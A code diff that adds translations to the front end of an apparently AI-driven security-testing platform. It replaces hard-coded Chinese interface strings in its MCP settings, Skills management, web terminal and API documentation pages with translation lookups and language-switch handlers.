@@ -1449,7 +1468,7 @@ async function saveExternalMCP() {
// 获取所有配置名称
const names = Object.keys(configObj);
if (names.length === 0) {
errorDiv.textContent = '配置错误: 至少需要一个配置项';
errorDiv.textContent = t('mcp.configNeedOne');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1458,7 +1477,7 @@ async function saveExternalMCP() {
// 验证每个配置
for (const name of names) {
if (!name || name.trim() === '') {
errorDiv.textContent = '配置错误: 配置名称不能为空';
errorDiv.textContent = t('mcp.configNameEmpty');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1466,7 +1485,7 @@ async function saveExternalMCP() {
const config = configObj[name];
if (typeof config !== 'object' || Array.isArray(config) || config === null) {
errorDiv.textContent = `配置错误: "${name}" 的配置必须是对象`;
errorDiv.textContent = t('mcp.configMustBeObj', { name: name });
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1478,28 +1497,28 @@ async function saveExternalMCP() {
// 验证配置内容
const transport = config.transport || (config.command ? 'stdio' : config.url ? 'http' : '');
if (!transport) {
errorDiv.textContent = `配置错误: "${name}" 需要指定commandstdio模式)或urlhttp/sse模式)`;
errorDiv.textContent = t('mcp.configNeedCommand', { name: name });
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
}
if (transport === 'stdio' && !config.command) {
errorDiv.textContent = `配置错误: "${name}" stdio模式需要command字段`;
errorDiv.textContent = t('mcp.configStdioNeedCommand', { name: name });
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
}
if (transport === 'http' && !config.url) {
errorDiv.textContent = `配置错误: "${name}" http模式需要url字段`;
errorDiv.textContent = t('mcp.configHttpNeedUrl', { name: name });
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
}
if (transport === 'sse' && !config.url) {
errorDiv.textContent = `配置错误: "${name}" sse模式需要url字段`;
errorDiv.textContent = t('mcp.configSseNeedUrl', { name: name });
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1514,7 +1533,7 @@ async function saveExternalMCP() {
// 如果是编辑模式,只更新当前编辑的配置
if (currentEditingMCPName) {
if (!configObj[currentEditingMCPName]) {
errorDiv.textContent = `配置错误: 编辑模式下,JSON必须包含配置名称 "${currentEditingMCPName}"`;
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.configEditMustContainName', { name: currentEditingMCPName }) : '配置错误: 编辑模式下,JSON必须包含配置名称 "' + currentEditingMCPName + '"');
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
return;
@@ -1561,7 +1580,7 @@ async function saveExternalMCP() {
alert(typeof window.t === 'function' ? window.t('mcp.saveSuccess') : '保存成功');
} catch (error) {
console.error('保存外部MCP失败:', error);
errorDiv.textContent = '保存失败: ' + error.message;
errorDiv.textContent = (typeof window.t === 'function' ? window.t('mcp.operationFailed') : '保存失败') + ': ' + error.message;
errorDiv.style.display = 'block';
jsonTextarea.classList.add('error');
}
@@ -1740,3 +1759,20 @@ openSettings = async function() {
await originalOpenSettings();
await loadExternalMCPs();
};
// 语言切换后重新渲染 MCP 管理页中由 JS 写入的区块(innerHTML 不会随 data-i18n 自动更新)
document.addEventListener('languagechange', function () {
try {
const mcpPage = document.getElementById('page-mcp-management');
if (mcpPage && mcpPage.classList.contains('active')) {
if (typeof loadExternalMCPs === 'function') {
loadExternalMCPs().catch(function () { /* ignore */ });
}
if (typeof updateToolsStats === 'function') {
updateToolsStats().catch(function () { /* ignore */ });
}
}
} catch (e) {
console.warn('languagechange MCP refresh failed', e);
}
});
+94 -66
View File
@@ -1,4 +1,7 @@
// Skills管理相关功能
function _t(key, opts) {
return typeof window.t === 'function' ? window.t(key, opts) : key;
}
let skillsList = [];
let currentEditingSkillName = null;
let isSavingSkill = false; // 防止重复提交
@@ -65,7 +68,7 @@ async function loadSkills(page = 1, pageSize = null) {
const response = await apiFetch(url);
if (!response.ok) {
throw new Error('获取skills列表失败');
throw new Error(_t('skills.loadListFailed'));
}
const data = await response.json();
skillsList = data.skills || [];
@@ -76,10 +79,10 @@ async function loadSkills(page = 1, pageSize = null) {
updateSkillsManagementStats();
} catch (error) {
console.error('加载skills列表失败:', error);
showNotification('加载skills列表失败: ' + error.message, 'error');
showNotification(_t('skills.loadListFailed') + ': ' + error.message, 'error');
const skillsListEl = document.getElementById('skills-list');
if (skillsListEl) {
skillsListEl.innerHTML = '<div class="empty-state">加载失败: ' + error.message + '</div>';
skillsListEl.innerHTML = '<div class="empty-state">' + _t('skills.loadFailedShort') + ': ' + escapeHtml(error.message) + '</div>';
}
}
}
@@ -94,7 +97,7 @@ function renderSkillsList() {
if (filteredSkills.length === 0) {
skillsListEl.innerHTML = '<div class="empty-state">' +
(skillsSearchKeyword ? '没有找到匹配的skills' : '暂无skills,点击"创建Skill"创建第一个skill') +
(skillsSearchKeyword ? _t('skills.noMatch') : _t('skills.noSkills')) +
'</div>';
// 搜索时隐藏分页
const paginationContainer = document.getElementById('skills-pagination');
@@ -109,12 +112,12 @@ function renderSkillsList() {
<div class="skill-card">
<div class="skill-card-header">
<h3 class="skill-card-title">${escapeHtml(skill.name || '')}</h3>
<div class="skill-card-description">${escapeHtml(skill.description || '无描述')}</div>
<div class="skill-card-description">${escapeHtml(skill.description || _t('skills.noDescription'))}</div>
</div>
<div class="skill-card-actions">
<button class="btn-secondary btn-small" onclick="viewSkill('${escapeHtml(skill.name)}')">查看</button>
<button class="btn-secondary btn-small" onclick="editSkill('${escapeHtml(skill.name)}')">编辑</button>
<button class="btn-secondary btn-small btn-danger" onclick="deleteSkill('${escapeHtml(skill.name)}')">删除</button>
<button class="btn-secondary btn-small" onclick="viewSkill('${escapeHtml(skill.name)}')">${_t('common.view')}</button>
<button class="btn-secondary btn-small" onclick="editSkill('${escapeHtml(skill.name)}')">${_t('common.edit')}</button>
<button class="btn-secondary btn-small btn-danger" onclick="deleteSkill('${escapeHtml(skill.name)}')">${_t('common.delete')}</button>
</div>
</div>
`;
@@ -154,12 +157,19 @@ function renderSkillsPagination() {
let paginationHTML = '<div class="pagination">';
const paginationShowText = _t('skillsPage.paginationShow', { start, end, total });
const perPageLabelText = _t('skillsPage.perPageLabel');
const firstPageText = _t('skillsPage.firstPage');
const prevPageText = _t('skillsPage.prevPage');
const pageOfText = _t('skillsPage.pageOf', { current: currentPage, total: totalPages || 1 });
const nextPageText = _t('skillsPage.nextPage');
const lastPageText = _t('skillsPage.lastPage');
// 左侧:显示范围信息和每页数量选择器(参考MCP样式)
paginationHTML += `
<div class="pagination-info">
<span>显示 ${start}-${end} / ${total} </span>
<span>${escapeHtml(paginationShowText)}</span>
<label class="pagination-page-size">
每页显示
${escapeHtml(perPageLabelText)}
<select id="skills-page-size-pagination" onchange="changeSkillsPageSize()">
<option value="10" ${pageSize === 10 ? 'selected' : ''}>10</option>
<option value="20" ${pageSize === 20 ? 'selected' : ''}>20</option>
@@ -173,11 +183,11 @@ function renderSkillsPagination() {
// 右侧:分页按钮(参考MCP样式:首页、上一页、第X/Y页、下一页、末页)
paginationHTML += `
<div class="pagination-controls">
<button class="btn-secondary" onclick="loadSkills(1, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>首页</button>
<button class="btn-secondary" onclick="loadSkills(${currentPage - 1}, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>上一页</button>
<span class="pagination-page"> ${currentPage} / ${totalPages || 1} </span>
<button class="btn-secondary" onclick="loadSkills(${currentPage + 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>下一页</button>
<button class="btn-secondary" onclick="loadSkills(${totalPages || 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>末页</button>
<button class="btn-secondary" onclick="loadSkills(1, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>${escapeHtml(firstPageText)}</button>
<button class="btn-secondary" onclick="loadSkills(${currentPage - 1}, ${pageSize})" ${currentPage === 1 || total === 0 ? 'disabled' : ''}>${escapeHtml(prevPageText)}</button>
<span class="pagination-page">${escapeHtml(pageOfText)}</span>
<button class="btn-secondary" onclick="loadSkills(${currentPage + 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>${escapeHtml(nextPageText)}</button>
<button class="btn-secondary" onclick="loadSkills(${totalPages || 1}, ${pageSize})" ${currentPage >= totalPages || total === 0 ? 'disabled' : ''}>${escapeHtml(lastPageText)}</button>
</div>
`;
@@ -291,7 +301,7 @@ async function searchSkills() {
try {
const response = await apiFetch(`/api/skills?search=${encodeURIComponent(skillsSearchKeyword)}&limit=10000&offset=0`);
if (!response.ok) {
throw new Error('获取skills列表失败');
throw new Error(_t('skills.loadListFailed'));
}
const data = await response.json();
skillsList = data.skills || [];
@@ -306,7 +316,7 @@ async function searchSkills() {
updateSkillsManagementStats();
} catch (error) {
console.error('搜索skills失败:', error);
showNotification('搜索失败: ' + error.message, 'error');
showNotification(_t('skills.searchFailed') + ': ' + error.message, 'error');
}
} else {
// 没有搜索关键词时,恢复分页加载
@@ -332,7 +342,7 @@ function clearSkillsSearch() {
// 刷新skills
async function refreshSkills() {
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
showNotification('已刷新', 'success');
showNotification(_t('skills.refreshed'), 'success');
}
// 显示添加skill模态框
@@ -340,7 +350,7 @@ function showAddSkillModal() {
const modal = document.getElementById('skill-modal');
if (!modal) return;
document.getElementById('skill-modal-title').textContent = '添加Skill';
document.getElementById('skill-modal-title').textContent = _t('skills.addSkill');
document.getElementById('skill-name').value = '';
document.getElementById('skill-name').disabled = false;
document.getElementById('skill-description').value = '';
@@ -354,7 +364,7 @@ async function editSkill(skillName) {
try {
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
if (!response.ok) {
throw new Error('获取skill详情失败');
throw new Error(_t('skills.loadDetailFailed'));
}
const data = await response.json();
const skill = data.skill;
@@ -362,7 +372,7 @@ async function editSkill(skillName) {
const modal = document.getElementById('skill-modal');
if (!modal) return;
document.getElementById('skill-modal-title').textContent = '编辑Skill';
document.getElementById('skill-modal-title').textContent = _t('skills.editSkill');
document.getElementById('skill-name').value = skill.name;
document.getElementById('skill-name').disabled = true; // 编辑时不允许修改名称
document.getElementById('skill-description').value = skill.description || '';
@@ -372,7 +382,7 @@ async function editSkill(skillName) {
modal.style.display = 'flex';
} catch (error) {
console.error('加载skill详情失败:', error);
showNotification('加载skill详情失败: ' + error.message, 'error');
showNotification(_t('skills.loadDetailFailed') + ': ' + error.message, 'error');
}
}
@@ -381,7 +391,7 @@ async function viewSkill(skillName) {
try {
const response = await apiFetch(`/api/skills/${encodeURIComponent(skillName)}`);
if (!response.ok) {
throw new Error('获取skill详情失败');
throw new Error(_t('skills.loadDetailFailed'));
}
const data = await response.json();
const skill = data.skill;
@@ -390,22 +400,29 @@ async function viewSkill(skillName) {
const modal = document.createElement('div');
modal.className = 'modal';
modal.id = 'skill-view-modal';
const viewTitle = _t('skills.viewSkillTitle', { name: skill.name });
const descLabel = _t('skills.descriptionLabel');
const pathLabel = _t('skills.pathLabel');
const modTimeLabel = _t('skills.modTimeLabel');
const contentLabel = _t('skills.contentLabel');
const closeBtn = _t('common.close');
const editBtn = _t('common.edit');
modal.innerHTML = `
<div class="modal-content" style="max-width: 900px; max-height: 90vh;">
<div class="modal-header">
<h2>查看Skill: ${escapeHtml(skill.name)}</h2>
<h2>${escapeHtml(viewTitle)}</h2>
<span class="modal-close" onclick="closeSkillViewModal()">&times;</span>
</div>
<div class="modal-body" style="overflow-y: auto; max-height: calc(90vh - 120px);">
${skill.description ? `<div style="margin-bottom: 16px;"><strong>描述:</strong> ${escapeHtml(skill.description)}</div>` : ''}
<div style="margin-bottom: 8px;"><strong>路径:</strong> ${escapeHtml(skill.path || '')}</div>
<div style="margin-bottom: 16px;"><strong>修改时间:</strong> ${escapeHtml(skill.mod_time || '')}</div>
<div style="margin-bottom: 8px;"><strong>内容:</strong></div>
${skill.description ? `<div style="margin-bottom: 16px;"><strong>${escapeHtml(descLabel)}</strong> ${escapeHtml(skill.description)}</div>` : ''}
<div style="margin-bottom: 8px;"><strong>${escapeHtml(pathLabel)}</strong> ${escapeHtml(skill.path || '')}</div>
<div style="margin-bottom: 16px;"><strong>${escapeHtml(modTimeLabel)}</strong> ${escapeHtml(skill.mod_time || '')}</div>
<div style="margin-bottom: 8px;"><strong>${escapeHtml(contentLabel)}</strong></div>
<pre style="background: #f5f5f5; padding: 16px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;">${escapeHtml(skill.content || '')}</pre>
</div>
<div class="modal-footer">
<button class="btn-secondary" onclick="closeSkillViewModal()">关闭</button>
<button class="btn-primary" onclick="editSkill('${escapeHtml(skill.name)}'); closeSkillViewModal();">编辑</button>
<button class="btn-secondary" onclick="closeSkillViewModal()">${escapeHtml(closeBtn)}</button>
<button class="btn-primary" onclick="editSkill('${escapeHtml(skill.name)}'); closeSkillViewModal();">${escapeHtml(editBtn)}</button>
</div>
</div>
`;
@@ -413,7 +430,7 @@ async function viewSkill(skillName) {
modal.style.display = 'flex';
} catch (error) {
console.error('查看skill失败:', error);
showNotification('查看skill失败: ' + error.message, 'error');
showNotification(_t('skills.viewFailed') + ': ' + error.message, 'error');
}
}
@@ -443,18 +460,18 @@ async function saveSkill() {
const content = document.getElementById('skill-content').value.trim();
if (!name) {
showNotification('skill名称不能为空', 'error');
showNotification(_t('skills.nameRequired'), 'error');
return;
}
if (!content) {
showNotification('skill内容不能为空', 'error');
showNotification(_t('skills.contentRequired'), 'error');
return;
}
// 验证skill名称
if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
showNotification('skill名称只能包含字母、数字、连字符和下划线', 'error');
showNotification(_t('skills.nameInvalid'), 'error');
return;
}
@@ -462,7 +479,7 @@ async function saveSkill() {
const saveBtn = document.querySelector('#skill-modal .btn-primary');
if (saveBtn) {
saveBtn.disabled = true;
saveBtn.textContent = '保存中...';
saveBtn.textContent = _t('skills.saving');
}
try {
@@ -484,20 +501,20 @@ async function saveSkill() {
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '保存skill失败');
throw new Error(error.error || _t('skills.saveFailed'));
}
showNotification(isEdit ? 'skill已更新' : 'skill已创建', 'success');
showNotification(isEdit ? _t('skills.saveSuccess') : _t('skills.createdSuccess'), 'success');
closeSkillModal();
await loadSkills(skillsPagination.currentPage, skillsPagination.pageSize);
} catch (error) {
console.error('保存skill失败:', error);
showNotification('保存skill失败: ' + error.message, 'error');
showNotification(_t('skills.saveFailed') + ': ' + error.message, 'error');
} finally {
isSavingSkill = false;
if (saveBtn) {
saveBtn.disabled = false;
saveBtn.textContent = '保存';
saveBtn.textContent = _t('common.save');
}
}
}
@@ -518,10 +535,10 @@ async function deleteSkill(skillName) {
}
// 构建确认消息
let confirmMessage = `确定要删除skill "${skillName}" 吗?此操作不可恢复。`;
let confirmMessage = _t('skills.deleteConfirm', { name: skillName });
if (boundRoles.length > 0) {
const rolesList = boundRoles.join('、');
confirmMessage = `确定要删除skill "${skillName}" 吗?\n\n⚠️ 该skill当前已被以下 ${boundRoles.length} 个角色绑定:\n${rolesList}\n\n删除后,系统将自动从这些角色中移除该skill的绑定。\n\n此操作不可恢复,是否继续?`;
confirmMessage = _t('skills.deleteConfirmWithRoles', { name: skillName, count: boundRoles.length, roles: rolesList });
}
if (!confirm(confirmMessage)) {
@@ -535,14 +552,14 @@ async function deleteSkill(skillName) {
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '删除skill失败');
throw new Error(error.error || _t('skills.deleteFailed'));
}
const data = await response.json();
let successMessage = 'skill已删除';
let successMessage = _t('skills.deleteSuccess');
if (data.affected_roles && data.affected_roles.length > 0) {
const rolesList = data.affected_roles.join('、');
successMessage = `skill已删除,已自动从 ${data.affected_roles.length} 个角色中移除绑定:${rolesList}`;
successMessage = _t('skills.deleteSuccessWithRoles', { count: data.affected_roles.length, roles: rolesList });
}
showNotification(successMessage, 'success');
@@ -554,7 +571,7 @@ async function deleteSkill(skillName) {
await loadSkills(pageToLoad, skillsPagination.pageSize);
} catch (error) {
console.error('删除skill失败:', error);
showNotification('删除skill失败: ' + error.message, 'error');
showNotification(_t('skills.deleteFailed') + ': ' + error.message, 'error');
}
}
@@ -565,7 +582,7 @@ async function loadSkillsMonitor() {
try {
const response = await apiFetch('/api/skills/stats');
if (!response.ok) {
throw new Error('获取skills统计信息失败');
throw new Error(_t('skills.loadStatsFailed'));
}
const data = await response.json();
@@ -581,14 +598,14 @@ async function loadSkillsMonitor() {
renderSkillsMonitor();
} catch (error) {
console.error('加载skills监控数据失败:', error);
showNotification('加载skills监控数据失败: ' + error.message, 'error');
showNotification(_t('skills.loadStatsFailed') + ': ' + error.message, 'error');
const statsEl = document.getElementById('skills-stats');
if (statsEl) {
statsEl.innerHTML = '<div class="monitor-error">无法加载统计信息:' + escapeHtml(error.message) + '</div>';
statsEl.innerHTML = '<div class="monitor-error">' + _t('skills.loadStatsErrorShort') + ': ' + escapeHtml(error.message) + '</div>';
}
const monitorListEl = document.getElementById('skills-monitor-list');
if (monitorListEl) {
monitorListEl.innerHTML = '<div class="monitor-error">无法加载调用统计:' + escapeHtml(error.message) + '</div>';
monitorListEl.innerHTML = '<div class="monitor-error">' + _t('skills.loadCallStatsError') + ': ' + escapeHtml(error.message) + '</div>';
}
}
}
@@ -604,23 +621,23 @@ function renderSkillsMonitor() {
statsEl.innerHTML = `
<div class="monitor-stat-card">
<div class="monitor-stat-label">总Skills数</div>
<div class="monitor-stat-label">${_t('skills.totalSkillsCount')}</div>
<div class="monitor-stat-value">${skillsStats.total}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">总调用次数</div>
<div class="monitor-stat-label">${_t('skills.totalCallsCount')}</div>
<div class="monitor-stat-value">${skillsStats.totalCalls}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">成功调用</div>
<div class="monitor-stat-label">${_t('skills.successfulCalls')}</div>
<div class="monitor-stat-value" style="color: #28a745;">${skillsStats.totalSuccess}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">失败调用</div>
<div class="monitor-stat-label">${_t('skills.failedCalls')}</div>
<div class="monitor-stat-value" style="color: #dc3545;">${skillsStats.totalFailed}</div>
</div>
<div class="monitor-stat-card">
<div class="monitor-stat-label">成功率</div>
<div class="monitor-stat-label">${_t('skills.successRate')}</div>
<div class="monitor-stat-value">${successRate}%</div>
</div>
`;
@@ -634,7 +651,7 @@ function renderSkillsMonitor() {
// 如果没有统计数据,显示空状态
if (stats.length === 0) {
monitorListEl.innerHTML = '<div class="monitor-empty">暂无Skills调用记录</div>';
monitorListEl.innerHTML = '<div class="monitor-empty">' + _t('skills.noCallRecords') + '</div>';
return;
}
@@ -652,12 +669,12 @@ function renderSkillsMonitor() {
<table class="monitor-table">
<thead>
<tr>
<th style="text-align: left !important;">Skill名称</th>
<th style="text-align: center;">总调用</th>
<th style="text-align: center;">成功</th>
<th style="text-align: center;">失败</th>
<th style="text-align: center;">成功率</th>
<th style="text-align: left;">最后调用时间</th>
<th style="text-align: left !important;">${_t('skills.skillName')}</th>
<th style="text-align: center;">${_t('skills.totalCalls')}</th>
<th style="text-align: center;">${_t('skills.success')}</th>
<th style="text-align: center;">${_t('skills.failure')}</th>
<th style="text-align: center;">${_t('skills.successRate')}</th>
<th style="text-align: left;">${_t('skills.lastCallTime')}</th>
</tr>
</thead>
<tbody>
@@ -687,12 +704,12 @@ function renderSkillsMonitor() {
// 刷新skills监控
async function refreshSkillsMonitor() {
await loadSkillsMonitor();
showNotification('已刷新', 'success');
showNotification(_t('skills.refreshed'), 'success');
}
// 清空skills统计数据
async function clearSkillsStats() {
if (!confirm('确定要清空所有Skills统计数据吗?此操作不可恢复。')) {
if (!confirm(_t('skills.clearStatsConfirm'))) {
return;
}
@@ -703,15 +720,15 @@ async function clearSkillsStats() {
if (!response.ok) {
const error = await response.json();
throw new Error(error.error || '清空统计数据失败');
throw new Error(error.error || _t('skills.clearStatsFailed'));
}
showNotification('已清空所有Skills统计数据', 'success');
showNotification(_t('skills.statsCleared'), 'success');
// 重新加载统计数据
await loadSkillsMonitor();
} catch (error) {
console.error('清空统计数据失败:', error);
showNotification('清空统计数据失败: ' + error.message, 'error');
showNotification(_t('skills.clearStatsFailed') + ': ' + error.message, 'error');
}
}
@@ -722,3 +739,14 @@ function escapeHtml(text) {
div.textContent = text;
return div.innerHTML;
}
// 语言切换时重新渲染当前页(技能列表与分页使用 _t,需随语言更新)
document.addEventListener('languagechange', function () {
const page = document.getElementById('page-skills-management');
if (page && page.classList.contains('active')) {
renderSkillsList();
if (!skillsSearchKeyword) {
renderSkillsPagination();
}
}
});
+76 -11
View File
@@ -26,7 +26,33 @@
return terminals[0] || null;
}
var WELCOME_LINE = 'CyberStrikeAI 终端 - 真实 Shell 会话,直接输入命令;Ctrl+L 清屏\r\n';
function tr(key, opts) {
if (typeof window !== 'undefined' && typeof window.t === 'function') {
return window.t(key, opts);
}
// i18n 未就绪时的后备(与 zh-CN 一致)
var fallbacks = {
'settingsTerminal.welcomeLine': 'CyberStrikeAI 终端 - 真实 Shell 会话,直接输入命令;Ctrl+L 清屏',
'settingsTerminal.sessionClosed': '[会话已关闭]',
'settingsTerminal.connectionError': '[终端连接出错]',
'settingsTerminal.connectFailed': '[无法连接终端服务: {{msg}}]',
'settingsTerminal.closeTabTitle': '关闭',
'settingsTerminal.containerClickTitle': '点击此处后输入命令',
'settingsTerminal.xtermNotLoaded': '未加载 xterm.js,请刷新页面或检查网络。',
'settingsTerminal.terminalTab': '终端 {{n}}'
};
var s = fallbacks[key] || key;
if (opts && typeof opts === 'object') {
Object.keys(opts).forEach(function (k) {
s = s.split('{{' + k + '}}').join(String(opts[k]));
});
}
return s;
}
function getWelcomeLine() {
return tr('settingsTerminal.welcomeLine') + '\r\n';
}
function writePrompt(tab) {
// 提示符交由后端 Shell 自行输出,这里仅保留占位函数,避免旧代码报错
@@ -35,7 +61,7 @@
function redrawTabDisplay(t) {
if (!t || !t.term) return;
t.term.clear();
t.term.write(WELCOME_LINE);
t.term.write(getWelcomeLine());
}
function writeln(tabOrS, s) {
@@ -121,19 +147,19 @@
ws.onclose = function () {
tab.running = false;
if (tab.term) {
tab.term.writeln('\r\n\x1b[2m[会话已关闭]\x1b[0m');
tab.term.writeln('\r\n\x1b[2m' + tr('settingsTerminal.sessionClosed') + '\x1b[0m');
}
};
ws.onerror = function () {
tab.running = false;
if (tab.term) {
tab.term.writeln('\r\n\x1b[31m[终端连接出错]\x1b[0m');
tab.term.writeln('\r\n\x1b[31m' + tr('settingsTerminal.connectionError') + '\x1b[0m');
}
};
} catch (e) {
if (tab.term) {
tab.term.writeln('\r\n\x1b[31m[无法连接终端服务: ' + String(e) + ']\x1b[0m');
tab.term.writeln('\r\n\x1b[31m' + tr('settingsTerminal.connectFailed', { msg: String(e) }) + '\x1b[0m');
}
}
}
@@ -182,13 +208,13 @@
term.loadAddon(fitAddon);
}
term.open(container);
term.write(WELCOME_LINE);
term.write(getWelcomeLine());
container.addEventListener('click', function () {
switchTerminalTab(tab.id);
if (term) term.focus();
});
container.setAttribute('tabindex', '0');
container.title = '点击此处后输入命令';
container.title = tr('settingsTerminal.containerClickTitle');
function sendToWS(data) {
ensureTerminalWS(tab);
@@ -211,6 +237,9 @@
tab.term = term;
tab.fitAddon = fitAddon;
// 立即建立 WebSocket,让后端 PTY/Shell 马上启动并输出提示符;
// 若等到首次按键才 connect,用户会感觉必须先按回车才能输入(实为连接尚未建立)。
ensureTerminalWS(tab);
return term;
}
@@ -253,12 +282,12 @@
tabDiv.setAttribute('data-tab-id', String(id));
var label = document.createElement('span');
label.className = 'terminal-tab-label';
label.textContent = '终端 ' + id;
label.textContent = tr('settingsTerminal.terminalTab', { n: id });
label.onclick = function () { switchTerminalTab(id); };
var closeBtn = document.createElement('button');
closeBtn.type = 'button';
closeBtn.className = 'terminal-tab-close';
closeBtn.title = '关闭';
closeBtn.title = tr('settingsTerminal.closeTabTitle');
closeBtn.textContent = '×';
closeBtn.onclick = function (e) { e.stopPropagation(); removeTerminalTab(id); };
tabDiv.appendChild(label);
@@ -340,7 +369,7 @@
var t = terminals[i];
tabDivs[i].setAttribute('data-tab-id', String(t.id));
var lbl = tabDivs[i].querySelector('.terminal-tab-label');
if (lbl) lbl.textContent = '终端 ' + t.id;
if (lbl) lbl.textContent = tr('settingsTerminal.terminalTab', { n: t.id });
if (lbl) lbl.onclick = (function (tid) { return function () { switchTerminalTab(tid); }; })(t.id);
var cb = tabDivs[i].querySelector('.terminal-tab-close');
if (cb) cb.onclick = (function (tid) { return function (e) { e.stopPropagation(); removeTerminalTab(tid); }; })(t.id);
@@ -364,6 +393,40 @@
}
}
function escapeHtml(s) {
return String(s)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function refreshTerminalI18n() {
// 语言切换后更新标签与容器 title;已打开的终端内容不强制清屏,以免丢失会话输出
try {
var tabsEl = document.querySelector('.terminal-tabs');
if (tabsEl) {
var tabDivs = tabsEl.querySelectorAll('.terminal-tab');
for (var i = 0; i < tabDivs.length && i < terminals.length; i++) {
var tid = terminals[i].id;
var lbl = tabDivs[i].querySelector('.terminal-tab-label');
if (lbl) lbl.textContent = tr('settingsTerminal.terminalTab', { n: tid });
var cb = tabDivs[i].querySelector('.terminal-tab-close');
if (cb) cb.title = tr('settingsTerminal.closeTabTitle');
}
}
terminals.forEach(function (tab) {
if (!tab || !tab.term) return;
var cont = document.getElementById(tab.containerId);
if (cont) cont.title = tr('settingsTerminal.containerClickTitle');
});
} catch (e) { /* ignore */ }
}
document.addEventListener('languagechange', function () {
refreshTerminalI18n();
});
function initTerminal() {
var pane1 = document.getElementById('terminal-pane-1');
var container1 = document.getElementById('terminal-container-1');
@@ -377,7 +440,7 @@
inited = true;
if (typeof Terminal === 'undefined') {
container1.innerHTML = '<p class="terminal-error">未加载 xterm.js,请刷新页面或检查网络。</p>';
container1.innerHTML = '<p class="terminal-error">' + escapeHtml(tr('settingsTerminal.xtermNotLoaded')) + '</p>';
return;
}
@@ -388,6 +451,8 @@
updateTerminalTabCloseVisibility();
refreshTerminalI18n();
setTimeout(function () {
try { if (tab.fitAddon) tab.fitAddon.fit(); if (tab.term) tab.term.focus(); } catch (e) {}
}, 100);
File diff suppressed because it is too large Load Diff
+30 -15
View File
@@ -3,7 +3,7 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>API 文档 - CyberStrikeAI</title>
<title data-i18n="apiDocs.pageTitle">API 文档 - CyberStrikeAI</title>
<link rel="icon" type="image/png" href="/static/logo.png">
<link rel="stylesheet" href="/static/css/style.css">
<style>
@@ -22,6 +22,7 @@
}
.api-docs-header {
position: relative;
margin-bottom: 32px;
padding-bottom: 24px;
border-bottom: 2px solid var(--border-color);
@@ -833,9 +834,21 @@
<line x1="16" y1="13" x2="8" y2="13" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<line x1="16" y1="17" x2="8" y2="17" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
API 文档
<span data-i18n="apiDocs.title">API 文档</span>
</h1>
<p>CyberStrikeAI 平台 API 接口文档,支持在线测试</p>
<p data-i18n="apiDocs.subtitle">CyberStrikeAI 平台 API 接口文档,支持在线测试</p>
<div class="api-docs-lang-switcher" style="position: absolute; top: 24px; right: 24px;">
<div class="lang-switcher">
<button type="button" class="btn-secondary lang-switcher-btn" onclick="typeof toggleLangDropdown === 'function' && toggleLangDropdown()" title="界面语言">
<span class="lang-switcher-icon">🌐</span>
<span id="current-lang-label">中文</span>
</button>
<div id="lang-dropdown" class="lang-dropdown" style="display: none;">
<div class="lang-option" data-lang="zh-CN" onclick="typeof onLanguageSelect === 'function' && onLanguageSelect('zh-CN')">中文</div>
<div class="lang-option" data-lang="en-US" onclick="typeof onLanguageSelect === 'function' && onLanguageSelect('en-US')">English</div>
</div>
</div>
</div>
</div>
<div id="auth-info-section" class="auth-info-section" style="display: none;">
@@ -846,17 +859,17 @@
<rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
<path d="M7 11V7a5 5 0 0 1 10 0v4"/>
</svg>
<h3 style="margin: 0; font-size: 1rem; font-weight: 600; color: var(--text-primary);">API 认证说明</h3>
<h3 style="margin: 0; font-size: 1rem; font-weight: 600; color: var(--text-primary);" data-i18n="apiDocs.authTitle">API 认证说明</h3>
</div>
<svg id="auth-info-arrow" class="auth-info-arrow" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="transition: transform 0.2s ease;">
<polyline points="6 9 12 15 18 9"/>
</svg>
</div>
<div id="auth-info-body" class="auth-info-body" style="display: none; color: var(--text-secondary); font-size: 0.875rem; line-height: 1.6; margin-top: 16px;">
<p style="margin: 0 0 12px 0;"><strong>所有 API 接口都需要 Token 认证。</strong></p>
<p style="margin: 0 0 12px 0;"><strong data-i18n="apiDocs.authAllNeedToken">所有 API 接口都需要 Token 认证。</strong></p>
<div style="background: var(--bg-secondary); padding: 12px; border-radius: 6px; margin-bottom: 12px;">
<p style="margin: 0 0 8px 0; font-weight: 500;">1. 获取 Token</p>
<p style="margin: 0 0 8px 0;">在前端页面登录后,Token 会自动保存。您也可以通过以下方式获取:</p>
<p style="margin: 0 0 8px 0; font-weight: 500;" data-i18n="apiDocs.authGetToken">1. 获取 Token</p>
